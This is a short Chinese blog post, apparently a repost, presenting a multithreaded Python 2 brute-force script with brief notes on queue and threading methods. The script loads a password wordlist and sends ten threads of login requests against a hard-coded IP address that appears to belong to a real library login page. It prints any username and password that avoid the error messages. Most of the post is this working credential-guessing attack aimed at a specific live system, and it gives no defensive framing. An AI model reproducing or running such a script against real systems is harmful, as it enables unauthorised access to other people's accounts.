码迷,mamicode.com
首页 > 编程语言 > 详细

python 后台爆破工具(多线程)

时间:2016-08-26 22:41:41      阅读:565      评论:0      收藏:0      [点我收藏+]

标签:

非阻塞 q.put(item) 写入队列,timeout等待时间
q.put_nowait(item) 相当q.put(item, False)

 

threads多线程     首先导入threading 模块,这是使用多线程的前提

appent 把每个线程放在threads列表里

start 开始

join 主线程等待子线程完成。

 

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import sys
import requests
import Queue
import threading
import time

# 1315935012
username = sys.argv[1]
password_file = sys.argv[2]
queue = Queue.Queue()

f = open(password_file)
for line in f.readlines():
    queue.put(line.strip())

# 使用账号作为密码
queue.put(username)

def checkLogin(username, queue):
    while not queue.empty():
        try:
            password = queue.get_nowait() #当一个队列为空的时候如果再用get取则会堵塞,所以取队列的时候一般是用到

#get_nowait()方法,这种方法在向一个空队列取值的时候会抛一个Empty异常

#所以更常用的方法是先判断一个队列是否为空,如果不为空则取值


        except  Queue.Empty:
            break
        #print password
        url= "http://122.207.221.227:8080/pages/opac/login/clientlogin.jsp"
        query = {
                ‘callback‘: "jQuery17205871516966488435_1472197449413",
                ‘username‘: username,
                ‘password‘: password,
                ‘loginType‘: "callNo",
                ‘_‘: ‘1472197524853‘
        }
        
        #print query
        try:
                resp = requests.get(url, query)
        except:
            queue.put(password)
        resp.encoding = resp.apparent_encoding
        if resp.text.find(u"密码或登录号错误") == -1 and resp.text.find(u"读者不存在") == -1 :
            print u"[*] 账号: %s 密码: %s" % (username, password)
            queue.queue.clear()

start_time = time.time()

threads = []
for i in range(0, 10):
    t = threading.Thread(target=checkLogin, args=(username,queue) )
    threads.append(t)
    t.setDaemon(True)
    t.start()


for t in threads:
    t.join()

end_time = time.time()
print u"共用时: %f" % (end_time - start_time)





python 后台爆破工具(多线程)

标签:

原文地址:http://www.cnblogs.com/secevery/p/5811776.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!